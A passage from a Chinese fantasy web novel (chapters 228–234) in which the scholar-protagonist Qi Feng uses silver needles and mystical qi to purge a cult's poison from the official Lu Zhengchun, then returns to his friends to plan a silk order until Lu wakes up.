他刚从城外巡查回来,看到赵府门口围了不少人,还听到里面的动静,就进来看看。
看到正厅里的景象,还有赵明德失魂落魄的模样,他连忙走上前问道:“赵大人,齐公子,这是怎么了?府里怎么这么乱,还满是药味?是不是有人受伤了?”
赵明德看到萧无痕,勉强挤出一丝笑容,声音沙哑地说道:“萧大人,是卢大人……卢大人昨晚追幽冥教徒的时候,中了对方的毒,还受了重伤,现在……现在已经快不行了。”
“卢正淳?”即便是萧无痕脸色也变了变,他连忙追问:“到底怎么回事?他武功不弱,怎么会被幽冥教徒伤成这样?大夫们就没有一点办法吗?”
赵明德叹了口气,把刚才跟齐枫说的经过又跟萧无痕说了一遍,最后摇着头道:“大夫们都说这毒太邪门,他们解不了,卢大人……恐怕是真的撑不过去了。”
萧无痕皱紧眉头,走到窗边,看着外面阴沉的天,沉默不语,也不知道在想些什么。
齐枫坐在椅子上,手指轻轻敲击着桌面,脑子里飞速盘算着。
卢正淳不能死!他不仅是对抗幽冥教的关键,更是自己跟朝廷之间的桥梁。
若是他**,可能会质疑之前的部署,很多计划都会全盘打乱。
而且,卢正淳为人正直,值得信任,他也不想看着这样一个好人死在幽冥教的阴谋里。
想到这里,齐枫深吸一口气,站起身,对着赵明德和萧无痕说道:“赵大人,萧大人,或许……我可以试试治疗卢大人。”
齐枫那句“我可以试试”刚落地,房间里的空气瞬间静了下来。
萧无痕缓缓转过身,目光落在齐枫身上,那双狭长的眼睛里没了往日的锐利,反倒裹着一层冷意,像是在打量一件看不懂的器物。
他没有立刻开口,只是指尖无意识地摩挲着腰间的圆月弯刀。
那是他惯用的小动作,每次盘算心思时都会这样,旁人看着像是漫不经心,实则心里早已转了好几圈。
“齐公子倒是藏得深。”半晌,萧无痕才慢悠悠地开口,声音不高,却带着一股说不出的压迫感,“先前追查幽冥教,你懂阵法、识邪符,如今卢大人危在旦夕,你又突然会医术了。不知齐公子这书生的身份下,还藏着多少本事?”
这话听着像是疑问,实则句句带刺。
他没明着嘲讽,却把“齐枫身份可疑”的念头摆到了台面上,既挑动了赵明德的顾虑,又暗指齐枫可能别有用心。
在场的官员都听出了弦外之音,纷纷看向齐枫,眼神里多了几分探究。
齐枫早料到萧无痕会发难,只
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是没想到对方会用这种迂回的方式。
他面上依旧平静,甚至还微微欠了欠身,一脸淡然:“萧大人说笑了。我不过是个普通书生,哪有什么藏本事的说法。至于医术,不过是机缘巧合罢了,我幼时体弱,家父便请了位云游老道教我辨识草药、调理身体。那老道心善,临走前给了我几本医书,我这些年闲来无事便翻一翻,倒也记下些皮**,算不上什么真本事。”
他这番话说得滴水不漏,既解释了医术的来源,又把自己的姿态放得极低,恰好避开了萧无痕“身份可疑”的暗指。
赵明德一听,立刻想起了之前的事,连忙上前一步,对着萧无痕说道:“萧大人,齐贤弟说的是真的!前阵子锦绣阁袁克良自导自演**,齐贤弟也一眼看出了毒素,这事你当时也知道,怎么忘了?”
萧无痕当然没忘。
他哼了一声,眼神里的冷意却淡了些:“我自然没忘。只是锦绣阁那是‘识毒’,如今是‘解毒’,二者可不一样。卢大人中的是幽冥教的邪毒,可不是普通的**,齐公子确定自己能行?”
“行不行,总得试试才知道。”齐枫迎着萧无痕的目光,语气依旧平静,却多了几分坚定。
“眼下卢大人气息越来越弱,若是再等下去,就算是真有能解毒的人来,恐怕也来不及了。萧大人若是不放心,大可在外面等着,我若是治不好,任凭处置便是。”
赵明德也跟着帮腔:“是啊萧大人!现在最重要的是救卢大人,其他的事都可以往后放放!齐贤弟若是真能救回卢大人,那可是大功一件,咱们也能少一个对抗幽冥教的顾虑!”
萧无痕沉默了。
他知道赵明德说得对,现在确实不是纠结的时候。
他盯着齐枫看了半晌,才缓缓开口:“好,我就信你这一次。但丑话说在前头,若是你耽误了卢大人的救治,或者想在里面耍什么花样,休怪我不客气。”
第两百二十九章 驱毒
“萧大人放心,我不会拿人命开玩笑。”齐枫微微颔首,转身对着赵明德说道,“赵大人,劳烦您带我去卢大人的房间。另外,医治需要安静,还请无关人等都在外面等候,包括您和萧大人。”
赵明德愣了一下,随即点头:“好!都听你的!你尽管放手去治,有任何需要,随时喊我们!”
说着,他就引着齐枫往内屋走。
萧无痕站在原地,看着两人的背影,眼神里的情绪复杂难辨。
两人刚走到内屋门口,就听到里面传来大夫的叹息声。
推门进去,只见四个穿着长衫的大夫围在床边,有的在给卢正淳施针,有的在擦拭他胸口的血迹,脸上满是焦急。
看到赵明德和齐枫进来,为首的白胡子大夫连忙起身,躬身道:“赵大人,您来了。卢大人的情况还是不好,毒素已经蔓延到脖颈了,气息弱得几乎摸不到,我们……我们实在没办法了。”
“让开。”齐枫开口,声音不高,却带着一股莫名的威严。
那几个大夫愣了一下,显然没把这个年轻书生放在眼里。
他们都是府城有名的大夫,连他们都束手无策,一个毛头小子能有什么本事?
白胡子大夫皱着眉,对着赵明德说道:“赵大人,这恐怕不妥吧?齐公子虽然有些见识,但医术讲究的是经验,卢大人这情况,可不是闹着玩的!”
“废什么话!”赵明德本来就急得上火,被大夫这么一说,更是没了耐心,厉声喝道,“让你们出去就出去!刚才齐贤弟怎么说的,你们没听见吗?若是耽误了救治,你们担得起责任吗?还不快滚!”
大夫们被赵明德的气势吓住,不敢再多说,纷纷收拾起医药箱,低着头往外走。
经过齐枫身边时,有的大夫还忍不住回头看了一眼,眼神里满是怀疑。
他们倒要看看,这个年轻书生能玩出什么花样!
等大夫们都走出去,赵明德刚想跟着进房间,却被齐枫拦住了。“赵大人,萧大人,”
齐枫看着两人,语气诚恳,“医治的时候需要绝对安静,不能有任何干扰,否则会影响施针和运气。还请你们在外面等候,我若是有需要,会喊你们的。”
赵明德愣了一下,随即点头:“好!我们就在外面等着,你尽管放心治!”
说着,他就转身往外走。
萧无痕却没动,依旧站在门口,目光紧紧盯着齐枫,像是要把他的一举一动都看在眼里。
“齐公子一个人在里面,若是对卢大人做了什么手脚,谁能作证?”他语气冰冷,显然还是不放心。
赵明德连忙回头,对着萧无痕说道:“萧大人,你这话说得就不对了!齐贤弟是什么人,我心里清楚!他怎么可能对卢大人做手脚?再说了,里面还有丫鬟在旁伺候,若是真有什么不对劲,丫鬟也会喊我们的!咱们还是在外面等着吧,别耽误了齐贤弟医治。”
萧无痕看了一眼站在角落的丫鬟,那丫鬟吓得连忙低下头,不敢说话。
他知道赵明德说得有道理,若是再纠缠下去,反倒显得自己小家子气。
他冷哼了一声,对着齐枫说道:“好,我就信你这一次。但你记住,若是卢大人有任何闪失,你就算有十张嘴,也说不清。”
说完,他才转身跟着赵明德走了出去。
房间里终于安静下来,只剩下齐枫、卢正淳,还有站在角落瑟瑟发抖的丫鬟。
齐枫走到床边,示意丫鬟退到门口等候,不要打扰,然后才仔细查看卢正淳的情况。
卢正淳躺在床上,双目紧闭,脸色苍白得像纸一样,嘴唇泛着青黑色,胸口的衣服被血迹浸透,伤口周围的皮肤已经变成了深黑色,还隐隐泛着一丝黑气。
他的呼吸微弱得几乎看不见,胸口起伏得越来越慢,每一次呼吸都像是用尽了全身的力气。
齐枫伸出手,轻轻搭在卢正淳的手腕上。
指尖刚碰到皮肤,就感觉到一股刺骨的寒意顺着指尖
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传来,像是摸到了冰块一样。
他闭上眼睛,仔细感受着卢正淳的脉象。
脉象微弱得几乎摸不到,而且紊乱不堪,时快时慢,像是有无数根细针在经脉里乱刺,每一次跳动都带着一股阴寒之气,显然是毒素已经侵入了五脏六腑。
他又掀开卢正淳胸口的衣服,查看伤口。
伤口不算太深,只有一寸左右,但周围的皮肤已经开始腐烂,还冒着淡淡的黑气,散发着一股刺鼻的腥臭味,像是腐烂的尸体。
他用手指轻轻碰了一下伤口周围的皮肤,发现皮肤已经失去了知觉,硬邦邦的像是木头,而且一碰就往下掉碎屑。
“果然是噬魂毒……”齐枫喃喃自语,脸色变得凝重起来。
“噬魂毒”是幽冥教特制的邪毒,用多种剧毒草药混合阴气炼制而成,一旦进入人体,就会迅速扩散到全身,不仅会破坏经脉和五脏六腑,还会吸食人的阳气和魂魄,让人在痛苦中慢慢死去。
而且这种毒非常霸道,寻常药物根本无法解毒,只有用“九阳针”配合“清心丹”才能暂时压制。
齐枫深吸一口气,从怀里掏出一个小巧的瓷瓶,打开瓶盖,倒出三粒红色的药丸。
这是他之前炼制的“清心丹”,虽然不能解毒,但能暂时护住心脉,延缓毒素扩散。
他小心翼翼地将药丸塞进卢正淳的嘴里,又倒了一杯温水,慢慢喂他喝下去。
做完这些,他又从怀里掏出一套银针。
这套银针是用玄铁混合赤铜打造的,比普通的银针更细、更坚硬,针身上还刻着细小的纹路,是齐枫特意让人搜刮的,据说用这套银针施针,能更好地引导真气。
他将银针在火上烤了一下。
齐枫指尖捏着玄铁银针,目光落在卢正淳胸口那片泛着黑气的伤口上,眸底掠过一丝冷冽。
这“噬魂毒”的霸道,远非凡俗医者能想象。
这也还好也就是遇到了自己,也是卢正淳的造化了。
第两百三十章 霸道的力量
前世,他曾见一些心思歹毒之人用类似阴毒炼制“行尸傀儡”,中招者三日内魂魄会被毒素啃噬殆尽,最后沦为只知杀戮的怪物。
彼时他为救师门长辈,耗费百年修为才勘破解毒之法,如今虽堕入凡胎,可应对阴邪的手段,早已刻入神魂深处。
“凡俗药材连毒素的表皮都破不了,白费功夫。”他低声自语,将最后一根银针按在卢正淳眉心的“印堂穴”上。
此前喂下的“清心丹”不过是稳住心脉的幌子,真正能破此毒的,从来不是草木之药,而是他体内潜藏的浩然真气!
那是他灵魂深处,融合了至阳灵力的本源之力,专克阴邪,恰是“噬魂毒”的克星。
更不用说他体内还有天劫之力!
站在角落的丫鬟见他迟迟不动手,忍不住攥紧帕子小声嘀咕:“公子,要不要再请大夫来看看?卢大人的嘴唇都紫透了,万一……”
话还没说完,就见齐枫手腕微沉,银针已如疾风般刺入印堂穴半寸。
这一刺看似轻柔,实则暗藏雷霆之力。
齐枫指尖凝气,一缕微不可察的金色气流顺着银针涌入卢正淳体内,如同滚烫的烙铁闯入冰窖。
原本在卢正淳经脉里横冲直撞的毒素,瞬间像是被烫到的毒蛇,疯狂地往伤口处回缩,黑气涌动得愈发剧烈,甚至隐隐有冲破皮肤、向外逃窜的迹象。
“哼,想逃?”齐枫眼神一厉,左手五指成爪,稳稳按在卢正淳胸口的“膻中穴”上。
浩然真气顺着掌心源源不断涌入,在卢正淳体内织成一张金色大网,将四散的毒素牢牢困在经脉之中。
这“噬魂毒”本是幽冥教用百具生魂炼制而成,带着浓烈的怨煞之气,寻常武者的内力碰到只会被反噬,可在至阳的浩然真气面前,却如同雪遇烈阳,开始滋滋消融,散发出刺鼻的腥臭味。
卢正淳的身体突然剧烈抽搐起来,喉咙里发出“嗬嗬”的闷响,脸色由青转黑,又由黑转红,额头上渗出细密的黑汗。
那黑汗落在锦被上,竟能腐蚀出一个个细小的孔洞,可见毒素之烈。
丫鬟吓得捂住嘴,差点叫出声来,却见齐枫神色依旧平静,只是指尖的力度又加重了几分,掌心的金色气流愈发炽盛。
“毒素在挣扎,越是这样,越不能停。”齐枫沉声道,另一只手抓起床边的银针,快如闪电般扎在卢正淳四肢的“足三里”“曲池穴”“涌泉穴”等八大穴位上。
这些穴位是人体气血运行的关键枢纽,他以银针为引,将浩然真气分成八股,顺着穴位涌入四肢百骸,如同八条金色巨龙,将藏匿在经脉深处的毒素一点点往外逼。
此刻的卢正淳体内,正上演着一场无声的厮杀。
金色真气所过之处,黑气如同潮水般退散,那些被毒素侵蚀得千疮百孔的经脉,在真气的滋养下开始缓缓修复,泛起淡淡的光泽。
可毒素也并非全无反抗之力,残余的怨煞之气突然凝聚成一团黑雾,如同择人而噬的野兽,朝着卢正淳的丹田冲去。
若是让它钻进丹田,就算毒素被清除,卢正淳的内力也会被彻底摧毁,沦为废人。
“痴心妄想!”齐枫瞬间察觉到不对,掌心猛地发力,浩然真气骤然暴涨。
眉心的银针泛起刺眼的金光,如同在黑暗中亮起的太阳,将那团黑雾牢牢钉在经脉中央,动弹不得。
紧接着,他手指快速捻动其他穴位的银针,真气顺着银针形成一个闭环,将黑雾团团围住,金色光芒越来越盛,黑雾在其中痛苦地扭曲、缩小,发出凄厉的尖啸,最后化作一缕青烟,顺着卢正淳的口鼻消散在空气中。
随着最后一缕毒素被清除,卢正淳的抽搐渐渐停止,脸色也从通红慢慢恢复成正常的肤色,胸口的黑气彻底消散,只剩下一道浅浅的伤口,边缘正以肉眼可见的速度结痂愈合。
齐枫这才松了口气,收回按在膻中穴上的手。
掌心
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已渗出一层薄汗,指节微微泛白。这具身体的修为尚未完全恢复,强行催动浩然真气破毒,对他自身也是不小的消耗,此刻丹田内的真气已略显紊乱。
他没有立刻拔出银针,而是再次注入一缕温和的真气,如同春雨润田般,仔细梳理卢正淳受损的经脉。
确认所有毒素都已清除,心脉也趋于平稳,甚至能感受到卢正淳体内微弱的内力开始重新流转后,才开始一根根拔出银针。
拔针的动作极缓,极轻,每拔出一根,卢正淳的呼吸就平稳一分。
拔到手腕处的银针时,卢正淳的手指轻轻动了一下,眼皮也开始微微颤动。
拔到眉心那根最后一根银针时,他已经能自主地深呼吸,胸膛起伏均匀,脸色红润得像是刚睡了个安稳觉,连之前苍白的嘴唇,都恢复了淡淡的血色。
丫鬟早已看得目瞪口呆,此刻连忙凑上前来,小心翼翼地探了探卢正淳的鼻息,又颤抖着摸了摸他的脉搏,下一秒突然激动得语无伦次。
“活了!卢大人活了!脉搏跳得可有力了,比刚才稳多了!公子,您太厉害了!刚才那些大夫都说卢大人没救了,您只用几根针就把他救回来了,您简直就是活神仙啊!”
齐枫没有接话,只是将拔下的银针逐一擦拭干净,收进随身携带的锦盒里。
他走到窗边,推开窗户,清晨的凉风涌入房间,吹散了空气中残留的药味和毒素的腥气。
天边已经泛起鱼肚白,第一缕阳光穿透云层,斜斜地落在卢正淳的脸上,给他苍白的面容镀上一层温暖的金边,连带着房间里的气氛,都少了几分之前的凝重。
回想起刚才破毒的过程,齐枫眸底闪过一丝后怕。
这“噬魂毒”比前世遇到的阴毒还要霸道三分,不仅能蚀骨噬魂,还能引动人体内的阴寒之气,若是换做任何一个凡俗医者,就算耗尽心力,也最多只能让卢正淳多撑半个时辰,根本不可能彻底解毒!
第两百三十一章 只想当纨绔
幽冥教能炼制出如此歹毒的药物,可见其势力远比想象中更庞大,背后恐怕还有更核心的人物在操控,血月祭的阴谋,恐怕比他预估的还要凶险。
“公子,您要不要歇会儿?您刚才额头都出汗了,肯定累坏了。”丫鬟见他站在窗边出神,连忙端来一杯温水,语气里满是崇拜。
刚才她还在担心齐枫是故作姿态,此刻却彻底信服。
能将必死之人从鬼门关拉回来,这等医术,绝非寻常人能拥有。
齐枫接过水杯,喝了一口,才缓缓开口:“不用,我没事。你在这里守着,卢大人醒了就立刻去通知我,切记不要让太多人进来打扰,他刚脱离危险,需要静养。”
丫鬟连忙点头,用力攥紧帕子:“公子您放心,我一定守好这里,谁也不让进来!”
齐枫又看了一眼床上的卢正淳,确认他呼吸平稳,没有异样后,才整理了一下衣袍,推开门走了出去。
刚到外厅,就听到赵明德焦急的踱步声,还有他压抑不住的担忧:“都快一个时辰了,怎么还没动静?不会真出什么事了吧?齐贤弟虽然懂些医术,可这噬魂毒连府城最好的大夫都没办法,他一个书生……”
“急什么。”萧无痕靠在柱子上,眼神却紧紧盯着内屋的方向,“若是齐公子真能救回卢大人,那是好事,若是救不回,你再急也没用。”
话虽如此,他心里其实一直悬着。
卢正淳是朝廷派来的巡查使,若是死在府城,他这个为府城的官员也脱不了干系,轻则被革职,重则恐怕还要承担连带责任。
两人听到开门声,同时转头望去,看到齐枫走出来,立刻迎了上去。
赵明德三步并作两步,一把抓住齐枫的胳膊,手指因为用力而微微泛白:“齐贤弟,怎么样了?卢大人他……他还活着吗?你快说啊!”
萧无痕也快步上前,目光紧紧锁在齐枫的脸上,试图从他的表情里看出些端倪。
齐枫迎着两人的目光,神色平静,缓缓开口:“幸不辱命,卢大人体内的毒素已经彻底清除,此刻气息平稳,想来过不了多久就能醒来。”
“什么?!”赵明德眼睛瞪得溜圆,不敢相信自己的耳朵,他下意识地松开齐枫的胳膊,后退半步,又上前确认道,“你说毒素清除了?那些大夫都说这毒无解,连吊命都难,你……你真的把他救回来了?”
萧无痕也愣住了,他原本以为齐枫最多只能稳住卢正淳的伤势,拖延些时间,没想到竟然真的解了毒。
他看着齐枫,眼神里的怀疑更深了。
一个看似文弱的书生,懂阵法、识邪符也就罢了,竟然还能解连顶尖医者都束手无策的邪毒。
这背后一定藏着不为人知的秘密,说不定齐枫的身份,远比表面上看起来更复杂。
齐枫没有理会萧无痕探究的目光,只是对着赵明德点了点头:“赵大人若是不信,可以进去看看。卢大人的脸色已经恢复正常,呼吸也平稳了,胸口的黑气也散了,只剩下一道浅伤在愈合。不过他刚脱离危险,身体还很虚弱,不宜过多人打扰,进去看一眼便好。”
赵明德哪里还按捺得住,连忙点头,迫不及待地往内屋走去,萧无痕犹豫了一下,也跟着走了进去。
两人来到床边,看到卢正淳脸色红润,呼吸均匀,胸口的伤口已经结痂,再也没有之前那骇人的黑气,都露出了震惊的表情。
赵明德激动得手都在抖,他小心翼翼地探了探卢正淳的脉搏,感受到那有力的跳动时,眼圈瞬间红了,对着齐枫说道:“齐贤弟,你真是神医啊!这份恩情,我和卢大人都记在心里!以后不管有什么事,只要你开口,我赵明德绝无二话!”
萧无痕站在一旁,看着卢正淳的模样,又看了看齐枫那副云淡风轻的样子,嘴角动了动,最终还是没说什么。
齐枫不仅救了卢正淳,还在赵明德面前赚足了好感。
齐枫只是淡淡一笑,说道:“赵大
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人言重了,我只是做了我该做的。现在最重要的是让卢大人好好休息,等他醒了,或许能从他口中问出一些关于幽冥教徒的线索,毕竟他是唯一跟那教徒正面交手过的人,说不定知道对方的底细,甚至可能知道祭坛的位置。”
赵明德这才回过神,连连点头:“对对对!还是齐贤弟想得周到!等卢大人醒了,我一定好好问问他!”
他对着丫鬟吩咐道:“你一定要好好照顾卢大人,有任何动静,哪怕只是翻个身,都要立刻禀报我!”
丫鬟连忙应下:“小人遵命!”
赵明德又对着齐枫说道:“齐贤弟,你也辛苦了,折腾了这么久,肯定累坏了。不如在府里歇息片刻,我让人准备些点心茶水,好好招待你。”
齐枫摇了摇头,婉拒道:“不了,赵大人。我还有些事要处理,就不打扰了。等卢大人醒了,还请派人去我住处通知我一声,我还有些关于毒素的事,想跟他确认一下。”
赵明德见他坚持,便不再挽留:“好,那我就不送了。齐贤弟路上小心,若是遇到什么麻烦,随时派人去府衙找我。”
齐枫对着两人拱了拱手,转身离开了赵府。
刚走出大门,就看到阳光已经洒满了街道,来往的行人渐渐多了起来,包子铺的蒸汽袅袅升起,茶馆里传来伙计热情的吆喝声,一派热闹祥和的景象。
他抬头看向天空,微微摇头。
本想安安静静的当个纨绔,却莫名其妙的卷入这些斗争。
唉,齐枫无奈的摇了摇头,他这个人吧,也不是那种圣母,做不到为天下牺牲自己的光辉形象。
但是怎么说呢,他也看不得这些害人的东西留在世界上。
眼不见为净,看到了嘛,那就不好意思了!
幽冥教的阴谋一日不除,这太平景象就一日不安稳。
接下来,他必须尽快从卢正淳口中问出线索,找到幽冥教的祭坛,阻止血月祭,还府城百姓一个真正的太平!
第两百三十二章 关切
齐枫原本想先回住处歇上半个时辰,身后却突然传来急促的脚步声。
“齐公子!齐公子留步!”
回头望去,是锦绣阁的伙计阿福,这小子跑得满头大汗,青色仆役服的领口都被汗水浸得发皱,手里攥着块被揉成团的粗布帕子,见了齐枫便急刹住脚,弯着腰大口喘气。
“阿福?怎么了,锦绣阁出什么事了?”齐枫迎上前,顺手将腰间的水囊递过去。
阿福猛灌了两口,才缓过劲来,语速飞快:“公子,周公子、徐公子、陈公子一早就来了,说在阁里等您议事,赵小姐也在,从辰时等到现在,每隔一会儿就问您回没回来。小的在府衙附近找了您两圈,总算追上了!”
“子陵他们也来了?还有明兰?”齐枫略感意外。
昨夜李家村**与卢正淳**的事闹到后半夜,今早又忙着救治卢正淳,他原以为众人会先歇缓,没成想竟都聚到了锦绣阁。
阿福连连点头:“可不是嘛!周公子带了自家铺子刚做的桂花糕,徐公子还让人搬了新焙的雨前龙井,赵小姐更是坐不住,刚才还说要亲自去府衙找您呢!公子,您快跟小的回去吧,再晚他们该急了!”
齐枫看了眼天色,太阳已在苍穹高悬,确实不宜让众人久等。
他转身跟赵府管家交代了句“卢大人若有动静,直接派人去锦绣阁通传”,便跟着阿福往南街走去。
一路上,阿福还在絮絮叨叨说些府城的新鲜事:“公子您不知道,就刚刚,我来的路上,南茶肆都炸开了!说您用几根银针就救了卢大人,连王太医的徒弟都束手无策的毒,您硬是给解了,现在说书先生都编开段子了,说您是‘文能夺魁、武能救命’的奇人!”
齐枫听着,只是淡淡勾了勾唇角。
这些消息流传的未免也太快了,前后不过半个时辰吧?
不过这些虚名于他而言无关紧要,眼下更重要的是等卢正淳彻底清醒,问出幽冥教教徒的线索,还有与周子陵等人敲定云州丝绸的备货。
昨日霍天都送来的订单明细还在袖中,首批三百匹丝绸若耽误了,怕是会影响后续的计划。
不多时,锦绣阁朱红的大门便映入眼帘。
刚到门口,就见周子陵、徐远、陈玉堂三人围坐在前厅的八仙桌旁,桌上的茶盏还冒着热气,赵明兰则站在廊下的桂花树下,鹅黄长裙被晨风拂得轻轻晃动,一见齐枫便快步跑了过来。
“齐枫!你可算回来了!”赵明兰一把抓住他的胳膊,指尖带着微凉的凉意,眼神里满是急切,“我听人说你去救卢大人了,还说那毒特别邪门,你没受伤吧?快让我看看!”
她一边说,一边上下打量齐枫,从青衫的衣襟看到袖口,连腰间别着的折扇都没放过,生怕漏过半点伤口。
齐枫被她看得无奈,却也能感受到那份真切的担忧,便笑着安抚:“放心,我没事。就是用银针引气解了毒,没什么危险。倒是你们,怎么一早都聚在这儿?”
“还不是担心你!”周子陵放下茶盏,快步走过来拍着他的肩膀,笑得爽朗,“听说卢大人快不行了,你还主动去赵府救治,我们几个昨晚也没睡踏实,就来锦绣阁等着,就想知道你怎么样了。”
徐远也跟着点头,手里把玩着一块淡青色的丝绸样布:“是啊齐兄!我们还以为你至少要到午时才能回来,没想到这么快。对了,卢大人真被你救回来了?府城都传疯了,说你医术比太医院的人还厉害!”
陈玉堂则摸着下巴,目光落在齐枫的手上:“齐兄,你这双手可真全能,写诗、做生意,连解毒都会,难怪赵小姐这么担心你。”
这话一出,赵明兰脸颊瞬间红透,连忙松开齐枫的胳膊,嗔怪道:“陈玉堂!你胡说什么呢!我跟你想的不一样!”
齐枫笑着打圆场:“好了,别拿明兰开玩笑了。咱们先进屋说,站在门口
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像什么样子。阿福,再沏几杯茶来,顺便请南宫姑娘和柳姑娘过来,云州的订单还有些细节要商议。”
阿福应了一声,快步往后院跑去。
众人簇拥着齐枫走进前厅,刚落座,赵明兰就迫不及待追问:“齐枫,你快说说,卢大人中的到底是什么毒?真有那么邪门吗?那些大夫都说没救了,你是怎么解的?”
周子陵、徐远、陈玉堂也纷纷点头,眼中满是好奇。
昨日府城的大夫们都对外说卢大人“毒气攻心,无力回天”,如今齐枫能将人救回来,这解毒的过程定不简单。
齐枫端起刚沏好的雨前龙井,浅抿一口润了润喉,才缓缓开口:“卢大人中的是幽冥教特制的‘噬魂毒’,用多种剧毒草药混着阴气炼的,一旦入体就会顺着经脉往五脏六腑钻,还会吸人的阳气,寻常药材根本挡不住。”
他顿了顿,回忆着方才救治的细节:“我先用‘清心丹’稳住他的心脉,再用玄铁银针扎在印堂、膻中这些穴位,借银针引着真气在他体内织了层气网,把毒素一点点逼出来。最麻烦的是毒里裹着的阴气,好在我早年学过些驱邪的法子,才算彻底清干净了。”
“玄铁银针?引真气?”周子陵瞪大了眼睛,“齐兄,你还会这本事?我怎么从没听你说过!”
徐远也一脸惊讶:“是啊齐兄!你平时看着就是个文弱书生,没想到还藏着这能耐!快跟我们说说,你这是跟谁学的?”
齐枫笑着摆手:“算不上什么厉害本事,就是小时候体弱,家父请了位云游老道教我些强身的法子,顺带学了点引气的技巧,没想到今日倒派上了用场。”
他不愿多提前世的事,便用“云游老道”的说法含糊带过。
赵明兰却抓着重点,皱着眉道:“那幽冥教也太可恶了!不仅屠了李家村,还敢对卢大人下这么狠的毒!齐枫,你一定要找出他们的祭坛,好好教训他们!”
第两百三十三章 卢正淳苏醒
齐枫点头:“放心,我已经跟赵大人、萧大人商议过,等卢大人醒透了,从他嘴里问出线索,咱们就布下天罗地网,绝不让幽冥教的阴谋得逞。”
众人正说着,南宫玥与柳若雪从后院走了进来。
南宫玥身着月白纱裙,手里拿着一本泛黄的账册,柳若雪则是一袭青衫,袖口绣着淡竹,两人刚走近,就被桌上的热闹气氛感染。
“齐郎,你们在说什么呢,这么热闹?”南宫玥笑着坐下,将账册放在桌上,“霍老板的订单我整理好了,首批要三百匹流云锦、两百匹兰草纹绸,他说希望下个月月初能发货,咱们的绣娘和染料还够吗?”
柳若雪也补充道:“我跟染坊的张老板谈过了,他说可以优先给咱们调色,但需要先付三成定金。另外,清河镇的中转仓库也找好了,租金按季度付,很划算。”
齐枫接过账册,仔细翻看了几页,点头道:“绣娘和染料都够,富贵已经去安排了,下个月月初发货没问题。定金的事,子陵你跟徐远、玉堂商议下,从咱们几家的本金里先垫付,等云州的货款回来再扣还。”
周子陵连忙点头:“放心,这事交给我们!我下午就去染坊付定金,顺便去看看仓库的情况。”
徐远也跟着道:“清河镇的码头我熟,我去跟船老板谈运输,保证把丝绸安全送到云州。”
陈玉堂则笑着说:“我去跟绣娘们交代下,让她们加快进度,争取多赶些货出来,免得后续断供。”
众人分工明确,很快就敲定了云州订单的后续事宜。
南宫玥与柳若雪负责跟进绣娘与染坊,周子陵三人负责仓库与运输,齐枫则统筹全局,顺便留意卢大人的消息。
前厅内的气氛渐渐热烈起来,众人从云州的丝绸行情聊到府城的中秋诗会,又从幽冥教的阴谋聊到街头的新鲜事,时不时传来一阵笑声。
赵明兰坐在齐枫身旁,时不时给他添茶,偶尔插几句话,眼底的欢喜藏都藏不住。
她本是为担心齐枫才来锦绣阁,如今见他安然无恙,悬着的心也彻底放了下来。
时间一点点过去,转眼已近午时。
阿福端来精致的素斋,有翡翠豆腐、香菇扒油菜,还有刚蒸好的糯米糕,众人边吃边聊,话题又绕回了卢正淳的情况。
“齐兄,你说卢大人醒了之后,会不会留下后遗症啊?”徐远咬着一块糯米糕,含糊地问道。
齐枫放下筷子,沉吟道:“应该不会。我用银针把他受损的经脉都修复了,后续好好调理就行。赵大人已经在府里安排了静养的院子,等他醒透了就搬过去,避免被打扰。”
周子陵笑着打趣:“还是齐兄考虑周全!等卢大人彻底好了,咱们可得好好庆祝一下,就去醉月楼,把最好的酒和菜都点上!”
众人纷纷附和,刚要讨论庆祝的细节,前厅外突然传来一阵急促的脚步声。
“齐公子!齐公子!好消息!”
众人循声望去,只见赵府的小厮气喘吁吁地跑进来,脸色涨得通红,手里攥着一张皱巴巴的纸条,见到齐枫便快步冲过来,躬身道:“卢大人醒了!一刻钟前醒的!赵大人让小的立刻通知您,说卢大人醒了就问起您,还说有关于幽冥教徒的事要跟您说!”
这话一出,前厅内瞬间安静下来。
所有人的目光都聚焦在齐枫身上,眼中满是惊喜。
齐枫猛地站起身,手中的筷子“啪嗒”掉在桌上,他顾不上捡,上前一步抓住小厮的胳膊急声问道:“卢大人现在精神怎么样?有没有说那幽冥教徒的具体情况?比如模样、用的兵器?”
小厮喘着粗气,连忙道:“精神还不错!喝了小半碗粥,说话虽然有点虚弱,但思路清楚!赵大人说让您尽快过去,卢大人记得不少细节,说不定能帮咱们找到幽冥教的祭坛!”
齐枫心中一喜,转身对着众人道:“我先去赵府,云州
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的事就辛苦你们多费心。南宫姑娘、柳姑娘,锦绣阁这边就拜托你们了。”
南宫玥连忙点头:“齐郎放心,我们会安排好的。你路上小心,有消息记得及时告诉我们。”
赵明兰也站起身,眼中满是担忧:“齐枫,你快去快回,要是有需要帮忙的地方,记得派人跟我说!”
齐枫应了一声,不再多言,跟着小厮快步往外走。
齐枫跟着赵府小厮穿过三重回廊,脚下青石板路被晨露浸得微润,每走一步都带着轻浅的“踏踏”声,与院外隐约传来的洒扫声交织,倒衬得这静养院愈发清净。
刚到院门口,就见赵明德正背着手站在廊下,藏青色官服的下摆被晨风拂起,一见齐枫便快步迎上来,脸上满是难掩的欣喜:“齐贤弟,可算把你盼来了!卢大人醒透有两刻钟了,喝了小半碗小米粥,还问了三回你的消息,说一定要当面谢你。”
齐枫点头,跟着赵明德推门而入。
屋内燃着淡淡的艾草香,混着药气驱散了阴湿,卢正淳半靠在床头,身上盖着素色云纹锦被,脸色虽仍透着几分病后苍白,但眼底已没了之前的灰败,见齐枫进来,原本微垂的眼帘瞬间亮起,挣扎着就要坐起身。
“卢大人,您刚醒,切不可乱动。”齐枫快步上前,伸手轻按在他肩膀上,小心地将枕垫往上挪了挪,让他靠得更舒服些,“身子要紧,道谢的话不急,咱们坐着说就好。”
卢正淳喘了口气,目光紧紧落在齐枫身上,声音虽还有些沙哑,却字字清晰:“齐公子,大恩不言谢!昨日在黑松林,我中了那教徒的毒刀,只觉一股阴寒顺着伤口往骨头里钻,没半炷香的功夫,连握剑的力气都没了,后来意识越来越模糊。”
“只记得黑气裹住我的时候,像掉进了冰窖,五脏六腑都像被冻住似的疼。若不是你及时施针引气,护住我的心脉,我这条命怕是早就交代在那山洞里了。”
第两百三十四章 回去调查
他顿了顿,眼中泛起几分感慨:“我卢正淳为官二十载,见过不少医术高明之人,却从没见过像你这样,仅凭几根银针和真气就能解‘噬魂毒’的。你不仅救了我,更是帮府城挡了一劫!”
“那幽冥教手段阴狠,若我**,后续追查他们的事怕是要搁置,到时候血月祭一开,不知多少百姓要遭殃。这份恩情,我记在心里,日后无论你有任何需求,哪怕是上刀山下火海,我卢正淳绝无二话!”
